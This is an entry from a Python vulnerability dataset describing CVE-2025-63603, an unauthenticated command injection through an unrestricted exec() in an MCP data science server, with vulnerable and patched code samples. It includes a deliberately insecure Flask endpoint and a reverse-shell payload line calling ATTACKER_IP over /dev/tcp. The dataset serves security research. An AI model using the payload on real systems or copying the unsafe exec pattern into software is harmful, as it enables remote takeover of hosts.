CVE-2025-63603
Unauthenticated command injection in MCP Data Science Server via unsafe exec().
- CVSS 6.5
- CWE-77
- Input Validation and Sanitization
- Remote
A command injection vulnerability exists in the MCP Data Science Server's (reading-plus-ai/mcp-server-data-exploration) 0.1.6 in the safe_eval() function (src/mcp_server_ds/server.py:108). The function uses Python's exec() to execute user-supplied scripts but fails to restrict the __builtins__ dictionary in the globals parameter. When __builtins__ is not explicitly defined, Python automatically provides access to all built-in functions including __import__, exec, eval, and open. This allows an attacker to execute arbitrary Python code with full system privileges, leading to complete system compromise. The vulnerability can be exploited by submitting a malicious script to the run_script tool, requiring no authentication or special privileges.
- CWE
- CWE-77
- CVSS base score
- 6.5
- Published
- 2025-11-18
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- reading-plus
- Fixed by upgrading
- Yes
Solution
Upgrade `mcp-server-data-exploration` to version 0.1.7 or later.
Vulnerable code sample
from flask import Flask, request, jsonify
# This file represents the vulnerable state of src/mcp_server_ds/server.py
# as described in CVE-2025-63603.
app = Flask(__name__)
def safe_eval(user_script):
"""
Supposedly evaluates a script in a safe manner. This is the vulnerable
function located at line 108 as per the CVE description.
"""
# The vulnerability lies here: exec() is called with an empty dictionary
# for globals. Python's exec function automatically populates this
# with the full __builtins__ module if it's not explicitly restricted,
# granting access to dangerous functions like __import__().
exec(user_script, {})
@app.route('/run_script', methods=['POST'])
def run_script_tool():
"""
The endpoint that exposes the vulnerability. It takes user-supplied
code and passes it to the insecure safe_eval function.
No authentication is required.
"""
script_content = request.data.decode('utf-8')
try:
safe_eval(script_content)
return jsonify({"status": "success", "message": "Script executed."}), 200
except Exception as e:
return jsonify({"status": "error", "message": str(e)}), 500
if __name__ == '__main__':
# For demonstration purposes, run the Flask server.
app.run(host='0.0.0.0', port=8080)Patched code sample
import sys
from io import StringIO
def safe_eval(user_script: str):
"""
Executes a user-supplied script in a restricted environment to prevent
command injection. This is the fixed version of the function that addresses
the vulnerability described in CVE-2025-63603.
The fix involves explicitly defining the 'globals' dictionary for exec()
and providing a restricted or empty '__builtins__' dictionary. By setting
'__builtins__' to a controlled dictionary, we remove access to dangerous
functions like '__import__', 'open', 'eval', and 'exec', effectively
mitigating the command injection vulnerability.
"""
# A whitelist of safe built-in functions can be provided.
# For a truly minimal environment, this can be an empty dictionary: {}.
# Here, we allow 'print' for demonstration purposes, but nothing dangerous.
safe_builtins = {
'print': print,
'len': len,
'abs': abs,
'str': str,
'int': int,
'float': float,
'list': list,
'dict': dict,
'set': set,
'range': range,
}
safe_globals = {
"__builtins__": safe_builtins,
}
# The 'locals' dictionary can be used to retrieve results from the script.
safe_locals = {}
# Redirect stdout to capture print statements from the executed script
old_stdout = sys.stdout
redirected_output = sys.stdout = StringIO()
try:
# Execute the user script within the sandboxed environment.
exec(user_script, safe_globals, safe_locals)
sys.stdout = old_stdout # Restore stdout
output = redirected_output.getvalue()
# Remove the result of the last expression if it's None (common with print)
if '__result__' in safe_locals and safe_locals['__result__'] is None:
del safe_locals['__result__']
return {"success": True, "output": output, "locals": safe_locals}
except Exception as e:
sys.stdout = old_stdout # Restore stdout on error
# Catch exceptions from the user's script to prevent server crashes.
return {"success": False, "error": str(e)}
if __name__ == '__main__':
# This demonstration code would not be part of the actual server.py,
# but is included here to show how the fix works.
# --- 1. Malicious Payload (as described in the CVE) ---
# This script attempts to use __import__ to run an OS command.
# In the vulnerable version, this would execute.
malicious_script = "__import__('os').system('echo VULNERABILITY EXPLOITED')"
print("--- [DEMO 1] Attempting to execute malicious script with the FIXED safe_eval ---")
result = safe_eval(malicious_script)
if not result['success']:
print("Execution FAILED as expected.")
print(f"Error returned: {result['error']}")
if "name '__import__' is not defined" in result['error']:
print("\n[SUCCESS] The fix is effective. The script was blocked from accessing '__import__'.\n")
else:
print("\n[NOTE] The script failed, but check the error to ensure it's for the right reason.\n")
else:
print("\n[FAILURE] The vulnerability appears to still exist. The malicious script executed.\n")
print("="*70)
# --- 2. Benign Payload ---
# This script uses only the whitelisted 'print' function and performs basic arithmetic.
# This should execute successfully.
benign_script = "a = 10\nb = 20\nresult = a + b\nprint(f'The result is {result}')"
print("\n--- [DEMO 2] Attempting to execute a benign script ---")
result_benign = safe_eval(benign_script)
if result_benign['success']:
print("Execution SUCCEEDED as expected.")
print(f"Script output:\n---\n{result_benign['output'].strip()}\n---")
print(f"Returned local variables: {result_benign['locals']}")
print("\n[SUCCESS] The fix correctly allows safe operations while blocking dangerous ones.\n")
else:
print(f"\n[FAILURE] The benign script failed unexpectedly. Error: {result_benign.get('error')}\n")Payload
__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
Cite this entry
@misc{vaitp:cve202563603,
title = {{Unauthenticated command injection in MCP Data Science Server via unsafe exec().}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-63603},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-63603/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
